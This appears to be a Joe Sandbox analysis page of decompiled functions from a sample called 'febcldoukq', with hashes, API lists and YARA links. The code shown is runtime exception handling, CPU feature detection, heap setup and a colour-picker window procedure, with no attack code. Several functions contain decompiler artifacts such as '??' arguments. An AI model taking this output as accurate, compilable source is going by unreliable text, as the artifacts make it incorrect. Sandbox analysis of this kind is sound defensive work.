Instruction ID: 50e4f1f5ef63a87805db371edfdb36c42f34ce19a56395bd95fd6ec0fb883604
Opcode Fuzzy Hash: b2304af92319fcb0ce3991e0d846fd50eadd60316be8c8ecf029de1ab0df6db8
Instruction Fuzzy Hash: D741D371901939AEDB30EF68ED88ABEB3F9EB84355F1041D5E41997244EB309EC08B64

Uniqueness

Uniqueness Score: -1.00%

Function 00B1D72C Relevance: 6.1, APIs: 4, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00B1D72C(intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4) {
				char _v0;
				struct _EXCEPTION_POINTERS _v12;
				intOrPtr _v80;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v608;
				intOrPtr _v612;
				void* _v616;
				intOrPtr _v620;
				char _v624;
				intOrPtr _v628;
				intOrPtr _v632;
				intOrPtr _v636;
				intOrPtr _v640;
				intOrPtr _v644;
				intOrPtr _v648;
				intOrPtr _v652;
				intOrPtr _v656;
				intOrPtr _v660;
				intOrPtr _v664;
				intOrPtr _v668;
				char _v808;
				char* _t39;
				long _t49;
				intOrPtr _t51;
				void* _t54;
				intOrPtr _t55;
				intOrPtr _t57;
				intOrPtr _t58;
				intOrPtr _t59;
				intOrPtr* _t60;

				_t59 = __esi;
				_t58 = __edi;
				_t57 = __edx;
				if(IsProcessorFeaturePresent(0x17) != 0) {
					_t55 = _a4;
					asm("int 0x29");
				}
				E00B1D6A0(_t34);
				 *_t60 = 0x2cc;
				_v632 = E00B1FC30(_t58,  &_v808, 0, 3);
				_v636 = _t55;
				_v640 = _t57;
				_v644 = _t51;
				_v648 = _t59;
				_v652 = _t58;
				_v608 = ss;
				_v620 = cs;
				_v656 = ds;
				_v660 = es;
				_v664 = fs;
				_v668 = gs;
				asm("pushfd");
				_pop( *_t15);
				_v624 = _v0;
				_t39 =  &_v0;
				_v612 = _t39;
				_v808 = 0x10001;
				_v628 =  *((intOrPtr*)(_t39 - 4));
				E00B1FC30(_t58,  &_v92, 0, 0x50);
				_v92 = 0x40000015;
				_v88 = 1;
				_v80 = _v0;
				_t28 = IsDebuggerPresent() - 1; // -1
				_v12.ExceptionRecord =  &_v92;
				asm("sbb bl, bl");
				_v12.ContextRecord =  &_v808;
				_t54 =  ~_t28 + 1;
				SetUnhandledExceptionFilter(0);
				_t49 = UnhandledExceptionFilter( &_v12);
				if(_t49 == 0 && _t54 == 0) {
					_push(3);
					return E00B1D6A0(_t49);
				}
				return _t49;
			}

0x00b1d72c
0x00b1d72c
0x00b1d72c
0x00b1d740
0x00b1d742
0x00b1d745
0x00b1d745
0x00b1d749
0x00b1d74e
0x00b1d766
0x00b1d76c
0x00b1d772
0x00b1d778
0x00b1d77e
0x00b1d784
0x00b1d78a
0x00b1d791
0x00b1d798
0x00b1d79f
0x00b1d7a6
0x00b1d7ad
0x00b1d7b4
0x00b1d7b5
0x00b1d7be
0x00b1d7c4
0x00b1d7c7
0x00b1d7cd
0x00b1d7dc
0x00b1d7e8
0x00b1d7f3
0x00b1d7fa
0x00b1d801
0x00b1d80c
0x00b1d814
0x00b1d81d
0x00b1d81f
0x00b1d822
0x00b1d824
0x00b1d82e
0x00b1d836
0x00b1d83c
0x00000000
0x00b1d843
0x00b1d846

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00B1D738
IsDebuggerPresent.KERNEL32 ref: 00B1D804
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00B1D824
UnhandledExceptionFilter.KERNEL32(?), ref: 00B1D82E

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 2c2784d2ecf431b48aa1493d6e8a09912a790838d45e40f36d11ef52c3a37237
Instruction ID: 848ec15288b6de2e631a85e1eaac00ea143c5a18797a0a4d525b96d4d5696a9a
Opcode Fuzzy Hash: 2c2784d2ecf431b48aa1493d6e8a09912a790838d45e40f36d11ef52c3a37237
Instruction Fuzzy Hash: D6311675D4521C9BDB10EFA8D989BCDBBF8AF08304F5040EAE40DAB250EB709A85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00B237DA Relevance: 4.6, APIs: 3, Instructions: 77
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 79%

			E00B237DA(intOrPtr __ebx, intOrPtr __edx, intOrPtr __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v0;
				signed int _v8;
				intOrPtr _v524;
				intOrPtr _v528;
				void* _v532;
				intOrPtr _v536;
				char _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				char _v724;
				intOrPtr _v792;
				intOrPtr _v800;
				char _v804;
				intOrPtr _v808;
				char _v812;
				void* __edi;
				signed int _t40;
				char* _t47;
				intOrPtr _t49;
				intOrPtr _t60;
				intOrPtr _t61;
				intOrPtr _t65;
				intOrPtr _t66;
				int _t67;
				intOrPtr _t68;
				signed int _t69;

				_t68 = __esi;
				_t65 = __edx;
				_t60 = __ebx;
				_t40 =  *0xb34050; // 0x245fde3e
				_t41 = _t40 ^ _t69;
				_v8 = _t40 ^ _t69;
				if(_a4 != 0xffffffff) {
					_push(_a4);
					E00B1D6A0(_t41);
					_pop(_t61);
				}
				E00B1FC30(_t66,  &_v804, 0, 0x50);
				E00B1FC30(_t66,  &_v724, 0, 0x2cc);
				_v812 =  &_v804;
				_t47 =  &_v724;
				_v808 = _t47;
				_v548 = _t47;
				_v552 = _t61;
				_v556 = _t65;
				_v560 = _t60;
				_v564 = _t68;
				_v568 = _t66;
				_v524 = ss;
				_v536 = cs;
				_v572 = ds;
				_v576 = es;
				_v580 = fs;
				_v584 = gs;
				asm("pushfd");
				_pop( *_t22);
				_v540 = _v0;
				_t25 =  &_v0; // 0x4
				_t49 = _t25;
				_v528 = _t49;
				_v724 = 0x10001;
				_v544 =  *((intOrPtr*)(_t49 - 4));
				_v804 = _a8;
				_v800 = _a12;
				_v792 = _v0;
				_t67 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(0);
				_t36 =  &_v812; // -808
				if(UnhandledExceptionFilter(_t36) == 0 && _t67 == 0 && _a4 != 0xffffffff) {
					_push(_a4);
					_t57 = E00B1D6A0(_t57);
				}
				return E00B1DB25(_t57, _t60, _v8 ^ _t69, _t65, _t67, _t68);
			}

0x00b237da
0x00b237da
0x00b237da
0x00b237e5
0x00b237ea
0x00b237ec
0x00b237f4
0x00b237f6
0x00b237f9
0x00b237fe
0x00b237fe
0x00b2380a
0x00b2381d
0x00b2382b
0x00b23831
0x00b23837
0x00b2383d
0x00b23843
0x00b23849
0x00b2384f
0x00b23855
0x00b2385b
0x00b23861
0x00b23868
0x00b2386f
0x00b23876
0x00b2387d
0x00b23884
0x00b2388b
0x00b2388c
0x00b23895
0x00b2389b
0x00b2389b
0x00b2389e
0x00b238a4
0x00b238b1
0x00b238ba
0x00b238c3
0x00b238cc
0x00b238da
0x00b238dc
0x00b238e2
0x00b238f1
0x00b238fd
0x00b23900
0x00b23905
0x00b23912

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 00B238D2
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 00B238DC
UnhandledExceptionFilter.KERNEL32(-00000328,?,?,?,?,?,?), ref: 00B238E9

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: b9a3fd183835b8264eb7007425999d3f7f0cf52f0019fe061ce369f1ace72047
Instruction ID: e5863cf4d26c2c55b2a83eefe1305856247ee24e3497526c13351bbfeeff40c5
Opcode Fuzzy Hash: b9a3fd183835b8264eb7007425999d3f7f0cf52f0019fe061ce369f1ace72047
Instruction Fuzzy Hash: FB31A07590122DABCB21DF68D989BCDBBF8EF18710F5041EAA41DA7250EB749B818F44

Uniqueness

Uniqueness Score: -1.00%

Function 00B1D945 Relevance: 1.6, APIs: 1, Instructions: 147
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00B1D945(signed int __edx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr _t60;
				signed int _t61;
				signed int _t62;
				signed int _t63;
				signed int _t66;
				signed int _t67;
				signed int _t73;
				intOrPtr _t74;
				intOrPtr _t75;
				intOrPtr* _t77;
				signed int _t78;
				intOrPtr* _t82;
				signed int _t85;
				signed int _t90;
				intOrPtr* _t93;
				signed int _t96;
				signed int _t99;
				signed int _t104;

				_t90 = __edx;
				 *0xb35aa0 =  *0xb35aa0 & 0x00000000;
				 *0xb34058 =  *0xb34058 | 0x00000001;
				if(IsProcessorFeaturePresent(0xa) == 0) {
					L23:
					return 0;
				}
				_v20 = _v20 & 0x00000000;
				_push(_t74);
				_t93 =  &_v40;
				asm("cpuid");
				_t75 = _t74;
				 *_t93 = 0;
				 *((intOrPtr*)(_t93 + 4)) = _t74;
				 *((intOrPtr*)(_t93 + 8)) = 0;
				 *(_t93 + 0xc) = _t90;
				_v16 = _v40;
				_v8 = _v28 ^ 0x49656e69;
				_v12 = _v32 ^ 0x6c65746e;
				_push(_t75);
				asm("cpuid");
				_t77 =  &_v40;
				 *_t77 = 1;
				 *((intOrPtr*)(_t77 + 4)) = _t75;
				 *((intOrPtr*)(_t77 + 8)) = 0;
				 *(_t77 + 0xc) = _t90;
				if((_v8 | _v12 | _v36 ^ 0x756e6547) != 0) {
					L9:
					_t96 =  *0xb35aa4; // 0x2
					L10:
					_t85 = _v32;
					_t60 = 7;
					_v8 = _t85;
					if(_v16 < _t60) {
						_t78 = _v20;
					} else {
						_push(_t77);
						asm("cpuid");
						_t82 =  &_v40;
						 *_t82 = _t60;
						 *((intOrPtr*)(_t82 + 4)) = _t77;
						 *((intOrPtr*)(_t82 + 8)) = 0;
						_t85 = _v8;
						 *(_t82 + 0xc) = _t90;
						_t78 = _v36;
						if((_t78 & 0x00000200) != 0) {
							 *0xb35aa4 = _t96 | 0x00000002;
						}
					}
					_t61 =  *0xb34058; // 0x6f
					_t62 = _t61 | 0x00000002;
					 *0xb35aa0 = 1;
					 *0xb34058 = _t62;
					if((_t85 & 0x00100000) != 0) {
						_t63 = _t62 | 0x00000004;
						 *0xb35aa0 = 2;
						 *0xb34058 = _t63;
						if((_t85 & 0x08000000) != 0 && (_t85 & 0x10000000) != 0) {
							asm("xgetbv");
							_v24 = _t63;
							_v20 = _t90;
							_t104 = 6;
							if((_v24 & _t104) == _t104) {
								_t66 =  *0xb34058; // 0x6f
								_t67 = _t66 | 0x00000008;
								 *0xb35aa0 = 3;
								 *0xb34058 = _t67;
								if((_t78 & 0x00000020) != 0) {
									 *0xb35aa0 = 5;
									 *0xb34058 = _t67 | 0x00000020;
									if((_t78 & 0xd0030000) == 0xd0030000 && (_v24 & 0x000000e0) == 0xe0) {
										 *0xb34058 =  *0xb34058 | 0x00000040;
										 *0xb35aa0 = _t104;
									}
								}
							}
						}
					}
					goto L23;
				}
				_t73 = _v40 & 0x0fff3ff0;
				if(_t73 == 0x106c0 || _t73 == 0x20660 || _t73 == 0x20670 || _t73 == 0x30650 || _t73 == 0x30660 || _t73 == 0x30670) {
					_t99 =  *0xb35aa4; // 0x2
					_t96 = _t99 | 0x00000001;
					 *0xb35aa4 = _t96;
					goto L10;
				} else {
					goto L9;
				}
			}

0x00b1d945
0x00b1d948
0x00b1d952
0x00b1d963
0x00b1db15
0x00b1db18
0x00b1db18
0x00b1d969
0x00b1d96f
0x00b1d974
0x00b1d978
0x00b1d97c
0x00b1d97e
0x00b1d980
0x00b1d983
0x00b1d988
0x00b1d991
0x00b1d9a2
0x00b1d9ad
0x00b1d9b3
0x00b1d9b4
0x00b1d9ba
0x00b1d9bd
0x00b1d9c7
0x00b1d9ca
0x00b1d9cd
0x00b1d9d0
0x00b1da15
0x00b1da15
0x00b1da1b
0x00b1da1b
0x00b1da20
0x00b1da21
0x00b1da27
0x00b1da59
0x00b1da29
0x00b1da2b
0x00b1da2c
0x00b1da32
0x00b1da35
0x00b1da37
0x00b1da3a
0x00b1da3d
0x00b1da40
0x00b1da43
0x00b1da4c
0x00b1da51
0x00b1da51
0x00b1da4c
0x00b1da5c
0x00b1da61
0x00b1da64
0x00b1da6e
0x00b1da79
0x00b1da7f
0x00b1da82
0x00b1da8c
0x00b1da97
0x00b1daa3
0x00b1daa6
0x00b1daa9
0x00b1dab4
0x00b1dab9
0x00b1dabb
0x00b1dac0
0x00b1dac3
0x00b1dacd
0x00b1dad5
0x00b1dada
0x00b1dae4
0x00b1daf2
0x00b1db05
0x00b1db0c
0x00b1db0c
0x00b1daf2
0x00b1dad5
0x00b1dab9
0x00b1da97
0x00000000
0x00b1db14
0x00b1d9d5
0x00b1d9df
0x00b1da04
0x00b1da0a
0x00b1da0d
0x00000000
0x00000000
0x00000000
0x00000000

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00B1D95B

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: aff2fdd9f1a097f40718136ead3bb74156b6296bb75cd174e7d29db41fbd605b
Instruction ID: 63d48fa246e2c382acf5a2f8ce02e9326920847b9554679d20602886814449bb
Opcode Fuzzy Hash: aff2fdd9f1a097f40718136ead3bb74156b6296bb75cd174e7d29db41fbd605b
Instruction Fuzzy Hash: 7D518EB1A15609CFEB28CF58D8C17AEBBF0FB44310F6585AAD516EB250D774AD80CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00B1B830 Relevance: 1.6, APIs: 1, Instructions: 77COMMON

Download Yara Rule

APIs

GetKeyboardState.USER32 ref: 00B1B846

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: KeyboardState
String ID:
API String ID: 1724228437-0
Opcode ID: 0a7531c91515f714856891bf879510901b71c42e82e76776f52f76c9728f835a
Instruction ID: 65b9612bcec391b3842c6cd1be86c40e440126779f6b8509a866e09378c0b2f3
Opcode Fuzzy Hash: 0a7531c91515f714856891bf879510901b71c42e82e76776f52f76c9728f835a
Instruction Fuzzy Hash: 1B31A871A10248AFEB51CFA9C596BEC7BF0FB01341F1844A5E4D4DB291C238DB90DB51

Uniqueness

Uniqueness Score: -1.00%

Function 00B2258B Relevance: 1.3, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00B2258B() {
				signed int _t3;

				_t3 = GetProcessHeap();
				 *0xb362dc = _t3;
				return _t3 & 0xffffff00 | _t3 != 0x00000000;
			}

0x00b2258b
0x00b22593
0x00b2259b

APIs

GetProcessHeap.KERNEL32 ref: 00B2258B

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 673de8a3a358805b645c9241645fe49892d76ac5c302c988796bc45ceae64061
Instruction ID: 83a62c39cb0426539facc59d601431c5d037e11b674efdf31d6729ad9f3a794d
Opcode Fuzzy Hash: 673de8a3a358805b645c9241645fe49892d76ac5c302c988796bc45ceae64061
Instruction Fuzzy Hash: 9EA012302012409F43004F355D0420D379C598218071580245000C6020DE2044449F00

Uniqueness

Uniqueness Score: -1.00%

Function 00B2418D Relevance: .0, Instructions: 22
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00B2418D(void* __ecx) {
				char _v8;
				intOrPtr _t7;
				char _t13;

				_t13 = 0;
				_v8 = 0;
				_t7 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
				_t16 =  *((intOrPtr*)(_t7 + 8));
				if( *((intOrPtr*)(_t7 + 8)) < 0) {
					L2:
					_t13 = 1;
				} else {
					E00B22329(_t16,  &_v8);
					if(_v8 != 1) {
						goto L2;
					}
				}
				return _t13;
			}

0x00b2419a
0x00b2419c
0x00b2419f
0x00b241a2
0x00b241a5
0x00b241b6
0x00b241b8
0x00b241a7
0x00b241ab
0x00b241b4
0x00000000
0x00000000
0x00b241b4
0x00b241bd

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2ad5c32dc7646e2450354e1ffd7f211a2991837c3e3f6e2b6b4411862f7e83d
Instruction ID: e3a2678934a08416013f03325129d8e68d00a20a37d668aef4faaded8bd80c95
Opcode Fuzzy Hash: d2ad5c32dc7646e2450354e1ffd7f211a2991837c3e3f6e2b6b4411862f7e83d
Instruction Fuzzy Hash: 11E04632911238EBCB25DB88A90498AB6ECEB44F01B11459AB505E3200C2B0DE40C7D0

Uniqueness

Uniqueness Score: -1.00%

Function 00B2009E Relevance: .0, Instructions: 12
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00B2009E(void* __ecx, void* __eflags) {

				if(E00B2418D(__ecx) == 1 || ( *( *[fs:0x30] + 0x68) >> 0x00000008 & 0x00000001) != 0) {
					return 0;
				} else {
					return 1;
				}
			}

0x00b200a6
0x00b200bf
0x00b200ba
0x00b200bc
0x00b200bc

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a70851e5609c448e8c58597b19ee992f77326b5201e67141dc45e8f64a1dd04d
Instruction ID: 6cf85ba94be762b75e0d507d24658a83948b1303333310648e727876caf31c5b
Opcode Fuzzy Hash: a70851e5609c448e8c58597b19ee992f77326b5201e67141dc45e8f64a1dd04d
Instruction Fuzzy Hash: F2C08C34010B2457EE29A910A2713A673DAE7A1BC2F8008CDC41A0BB43D72F9C82DB42

Uniqueness

Uniqueness Score: -1.00%

Function 00B1BF30 Relevance: 42.3, APIs: 28, Instructions: 296
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 48%

			E00B1BF30(struct HWND__* _a4, int _a8, int _a12, signed int _a16) {
				long _v12;
				long _v16;
				struct tagPAINTSTRUCT _v80;
				struct tagRECT _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				void* _v124;
				void* _v128;
				intOrPtr _v132;
				long _v136;
				signed int _v140;
				void* _v144;
				struct tagRECT _v156;
				intOrPtr _v160;
				signed int _v164;
				signed int _v168;
				signed int _v172;
				void* _v176;
				void* _v180;
				void* _v184;
				signed int* _v188;
				void* _v204;
				RECT* _v208;
				intOrPtr _v212;
				signed int _v216;
				signed int _v228;
				signed int _v232;
				signed int _v240;
				intOrPtr _v244;
				void* _v260;
				intOrPtr _v264;
				intOrPtr _v268;
				intOrPtr _v276;
				signed int _v280;
				void* _v292;
				void* _v296;
				int _t176;
				long _t186;
				struct HBRUSH__* _t208;
				long _t214;
				void* _t218;
				intOrPtr _t236;
				void* _t245;
				void* _t326;
				struct HDC__** _t330;
				struct HDC__** _t332;
				struct HDC__** _t336;
				struct HDC__** _t337;
				struct HDC__** _t338;
				struct HDC__** _t341;
				struct HDC__** _t342;
				void* _t343;
				struct HDC__** _t344;

				_t176 = _a8;
				_v160 = _t176;
				if(_t176 == 0xf) {
					BeginPaint(_a4,  &_v80);
					GetClientRect(_a4,  &_v96);
					asm("cdq");
					_v120 = _v96.right / 8;
					_t186 = GetWindowLongW(GetParent(_a4), 8);
					_t330 = _t326 - 0xfffffffffffffff4;
					_v16 = _t186;
					_v116 = 0;
					while(_v116 < 0x10) {
						asm("cdq");
						_v168 = _v116 / 8;
						asm("cdq");
						_v108 = _v168 * _v96.bottom / 2;
						_v164 = _v108;
						asm("cdq");
						_v100 = _v164 + _v96.bottom / 2;
						_v112 = (_v116 & 0x00000007) * _v120;
						_v104 = _v112 + _v120;
						_t208 = CreateSolidBrush( *(_v16 + 4 + _v116 * 4));
						_t332 = _t330 - 4;
						_v124 = _t208;
						 *_t332 = _v80.hdc;
						_v188 =  &_v112;
						_v184 = _v124;
						FillRect(??, ??, ??);
						DeleteObject(_v124);
						_t214 = GetWindowLongW(_a4, 0);
						_t330 = _t332;
						if(_t214 == _v116) {
							_v132 = 2;
							_t218 = SelectObject(_v80.hdc, GetStockObject(6));
							_t336 = _t330 - 0xfffffffffffffffc;
							_v128 = _t218;
							_v104 = _v104 + 0xffffffff;
							_v100 = _v100 + 0xffffffff;
							while(1) {
								 *_t336 = _v80.hdc;
								_v216 = _v112;
								_v212 = _v100;
								_v208 = 0;
								MoveToEx(??, ??, ??, ??);
								_t337 = _t336 - 0x10;
								 *_t337 = _v80.hdc;
								_v232 = _v112;
								_v228 = _v108;
								LineTo(??, ??, ??);
								_t338 = _t337 - 0xc;
								 *_t338 = _v80.hdc;
								_v244 = _v104;
								_v240 = _v108;
								LineTo(??, ??, ??);
								SelectObject(_v80.hdc, GetStockObject(7));
								_t341 = _t338;
								 *_t341 = _v80.hdc;
								_v268 = _v104;
								_v264 = _v100;
								LineTo(??, ??, ??);
								_t342 = _t341 - 0xc;
								 *_t342 = _v80.hdc;
								_v280 = _v112;
								_v276 = _v100;
								LineTo(??, ??, ??);
								_t343 = _t342 - 0xc;
								_t236 = _v132 + 0xffffffff;
								_v132 = _t236;
								if(_t236 == 0) {
									break;
								}
								_v112 = _v112 + 1;
								_v108 = _v108 + 1;
								_v104 = _v104 + 0xffffffff;
								_v100 = _v100 + 0xffffffff;
								_t245 = GetStockObject(6);
								_t344 = _t343 - 4;
								 *_t344 = _v80.hdc;
								_v296 = _t245;
								SelectObject(??, ??);
								_t336 = _t344 - 8;
							}
							SelectObject(_v80, _v128);
							_t330 = _t343 - 8;
						}
						_v116 = _v116 + 1;
					}
					EndPaint(_a4,  &_v80);
					goto L17;
				} else {
					if(_v160 == 0x201) {
						GetClientRect(_a4,  &_v156);
						asm("cdq");
						_v140 = _v156.right / 8;
						_v172 = _a16 >> 0x00000010 & 0xffff;
						asm("cdq");
						_t262 =  >=  ? 8 : 0;
						_v136 =  >=  ? 8 : 0;
						asm("cdq");
						_v136 = (_a16 & 0xffff) / _v140 + _v136;
						SetWindowLongW(_a4, 0, _v136);
						InvalidateRect(GetDlgItem(GetParent(_a4), 0x206), 0, 0);
						InvalidateRect(_a4, 0, 0);
						L17:
						_v12 = 0;
					} else {
						_v12 = DefWindowProcW(_a4, _a8, _a12, _a16);
					}
				}
				return _v12;
			}

0x00b1bf46
0x00b1bf49
0x00b1bf52
0x00b1bf80
0x00b1bf96
0x00b1bfa7
0x00b1bfaa
0x00b1bfc7
0x00b1bfcd
0x00b1bfd0
0x00b1bfd3
0x00b1bfda
0x00b1bfec
0x00b1bfef
0x00b1bffd
0x00b1c00b
0x00b1c011
0x00b1c01f
0x00b1c02c
0x00b1c039
0x00b1c042
0x00b1c052
0x00b1c058
0x00b1c05b
0x00b1c067
0x00b1c06a
0x00b1c06e
0x00b1c072
0x00b1c081
0x00b1c09a
0x00b1c0a0
0x00b1c0a6
0x00b1c0ac
0x00b1c0cd
0x00b1c0d3
0x00b1c0d6
0x00b1c0df
0x00b1c0e8
0x00b1c0eb
0x00b1c0f6
0x00b1c0f9
0x00b1c0fd
0x00b1c101
0x00b1c109
0x00b1c10f
0x00b1c11b
0x00b1c11e
0x00b1c122
0x00b1c126
0x00b1c12c
0x00b1c138
0x00b1c13b
0x00b1c13f
0x00b1c143
0x00b1c166
0x00b1c16c
0x00b1c178
0x00b1c17b
0x00b1c17f
0x00b1c183
0x00b1c189
0x00b1c195
0x00b1c198
0x00b1c19c
0x00b1c1a0
0x00b1c1a6
0x00b1c1ac
0x00b1c1af
0x00b1c1b5
0x00000000
0x00000000
0x00b1c1c6
0x00b1c1cf
0x00b1c1d8
0x00b1c1e1
0x00b1c1eb
0x00b1c1f1
0x00b1c1f7
0x00b1c1fa
0x00b1c1fe
0x00b1c204
0x00b1c204
0x00b1c219
0x00b1c21f
0x00b1c21f
0x00b1c22d
0x00b1c22d
0x00b1c242
0x00000000
0x00b1bf58
0x00b1bf68
0x00b1c260
0x00b1c274
0x00b1c277
0x00b1c28b
0x00b1c29c
0x00b1c2b0
0x00b1c2b3
0x00b1c2c4
0x00b1c2d1
0x00b1c2f1
0x00b1c332
0x00b1c353
0x00b1c38d
0x00b1c38d
0x00b1bf6e
0x00b1c385
0x00b1c385
0x00b1bf68
0x00b1c39f

APIs

BeginPaint.USER32 ref: 00B1BF80
GetClientRect.USER32 ref: 00B1BF96
GetParent.USER32 ref: 00B1BFB3
GetWindowLongW.USER32 ref: 00B1BFC7
CreateSolidBrush.GDI32 ref: 00B1C052
FillRect.USER32 ref: 00B1C072
DeleteObject.GDI32 ref: 00B1C081
GetWindowLongW.USER32 ref: 00B1C09A
GetStockObject.GDI32 ref: 00B1C0BA
SelectObject.GDI32 ref: 00B1C0CD
GetClientRect.USER32 ref: 00B1C260
SetWindowLongW.USER32 ref: 00B1C2F1
GetParent.USER32 ref: 00B1C300
GetDlgItem.USER32 ref: 00B1C314
InvalidateRect.USER32 ref: 00B1C332
InvalidateRect.USER32 ref: 00B1C353
DefWindowProcW.USER32 ref: 00B1C37C

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
